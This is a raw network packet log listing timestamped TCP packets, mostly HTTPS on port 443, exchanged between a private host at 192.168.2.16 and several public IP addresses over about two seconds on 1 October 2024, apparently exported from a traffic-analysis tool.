Oct 1, 2024 15:08:08.815315008 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.815316916 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.815325022 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.815367937 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.815557957 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.815615892 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.820972919 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.821049929 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.821626902 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.821691036 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.827513933 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.827569008 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.827577114 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.827589989 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.827630043 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.828072071 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.828139067 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.828433990 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.828486919 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.853365898 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.853519917 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.853533030 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.853538990 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.853578091 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.853605032 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.853632927 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.853655100 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.853662014 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.853686094 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.854518890 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.854571104 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.854578018 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.854633093 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.854975939 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855037928 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.855041981 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855052948 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855103016 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.855108023 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855153084 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.855734110 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855767965 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855796099 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.855799913 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.855824947 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.855849028 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.856686115 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.856746912 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.856750011 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.856755018 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.856781006 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.856810093 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.856813908 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.856832027 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.856865883 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.857613087 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.899297953 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.899313927 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.899512053 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.899523020 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.899588108 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.901540995 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.901608944 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.902367115 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.902436018 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.902441025 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.902497053 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.907749891 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.907793045 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.907814980 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.907819986 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.907846928 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.907870054 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.948270082 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.948493004 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.948615074 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.948653936 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.948677063 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.948682070 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.948713064 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.948736906 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.950758934 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.950831890 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.952944040 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.953010082 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.953016043 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.953022003 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.953068972 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.954499960 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.954571962 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.955617905 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.955673933 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.956626892 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.956644058 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.956679106 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.956703901 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.956708908 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.956738949 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.956765890 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.956769943 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.956790924 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:08.956859112 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.956949949 CEST	49722	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:08.956965923 CEST	443	49722	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:09.030843019 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.031126976 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.031145096 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.032196045 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.032267094 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.033164024 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.033226967 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.033318043 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.033325911 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.066154003 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.066473007 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.066485882 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.067524910 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.067706108 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.068550110 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.068612099 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.068742037 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.068747997 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.084963083 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.116972923 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.172782898 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172828913 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172857046 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172883987 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172904968 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.172909975 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172923088 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172959089 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.172970057 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.172976017 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.172982931 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.173027992 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.173475981 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.173621893 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.173667908 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.173679113 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.177571058 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.177634954 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.177647114 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.206413984 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.206587076 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.206686020 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.206899881 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.206912994 CEST	443	49727	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.206921101 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.206976891 CEST	49727	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.208349943 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.208406925 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.208489895 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.208720922 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.208736897 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.228945017 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.259325981 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.259591103 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.259623051 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.259653091 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.259670019 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.259686947 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.259706020 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.260190964 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.260231972 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.260246992 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.260253906 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.260291100 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.260296106 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.260324001 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.260364056 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.260369062 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.261147976 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.261179924 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.261209011 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.261226892 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.261234045 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.261260033 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.261265039 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.261306047 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.261311054 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.262115955 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.262142897 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.262172937 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.262176037 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.262182951 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.262221098 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.306417942 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.306469917 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.306557894 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.306576967 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.306623936 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.346098900 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.346157074 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.346182108 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.346220970 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.346230984 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.346242905 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.346276045 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.346369982 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.346419096 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.346982002 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.347040892 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.347050905 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.347059965 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.347093105 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.347100019 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.347105980 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.347146988 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.348077059 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.348140955 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.348174095 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.348222971 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.348926067 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.348987103 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.348994970 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.349025965 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.349040985 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.349072933 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.349313021 CEST	49728	443	192.168.2.16	104.17.24.14
Oct 1, 2024 15:08:09.349328041 CEST	443	49728	104.17.24.14	192.168.2.16
Oct 1, 2024 15:08:09.362725019 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.362787962 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.362864017 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.363068104 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.363085985 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.686863899 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.687112093 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.687134027 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.688312054 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.688627958 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.688756943 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.688762903 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.688797951 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.738929987 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.814975023 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815038919 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815077066 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815080881 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.815109968 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815150023 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.815155029 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815167904 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815207958 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.815216064 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815624952 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815663099 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815670013 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.815677881 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.815715075 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.815721035 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.819751978 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.819799900 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.819816113 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.824325085 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.824567080 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.824589968 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.825643063 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.825700998 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.826040983 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.826102018 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.826184034 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.826198101 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.865946054 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.866173029 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.866192102 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 1, 2024 15:08:09.905596972 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.905683041 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.905721903 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.905756950 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.905941963 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.905983925 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.905985117 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.906002045 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906034946 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.906574011 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906620026 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906635046 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.906644106 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906685114 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.906691074 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906732082 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906765938 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.906769037 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906780958 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.906807899 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.907469034 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.907582998 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.907618999 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.907624960 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.907633066 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.907666922 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.907671928 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.908502102 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.908540964 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.908566952 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.908572912 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.908608913 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.908615112 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.908655882 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.908693075 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.908823013 CEST	49729	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.908839941 CEST	443	49729	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.920232058 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.920321941 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.920408010 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.920608044 CEST	49731	443	192.168.2.16	104.18.95.41
Oct 1, 2024 15:08:09.920638084 CEST	443	49731	104.18.95.41	192.168.2.16
Oct 1, 2024 15:08:09.931879997 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 1, 2024 15:08:09.957223892 CEST	49726	443	192.168.2.16	104.21.11.126
Oct 1, 2024 15:08:09.967463970 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:09.967511892 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:09.967580080 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:09.968707085 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968758106 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968789101 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968811989 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.968816996 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968837023 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968856096 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.968866110 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968894005 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968913078 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.968919039 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.968965054 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.969134092 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.969182968 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.969228029 CEST	49730	443	192.168.2.16	104.17.25.14
Oct 1, 2024 15:08:09.969233990 CEST	443	49730	104.17.25.14	192.168.2.16
Oct 1, 2024 15:08:09.970061064 CEST	49732	443	192.168.2.16	152.199.21.175
Oct 1, 2024 15:08:09.970077038 CEST	443	49732	152.199.21.175	192.168.2.16
Oct 1, 2024 15:08:10.003398895 CEST	443	49726	104.21.11.126	192.168.2.16
Oct 1, 2024 15:08:10.009041071 CEST	49730	443	192.168.2.16	104.17.25.14
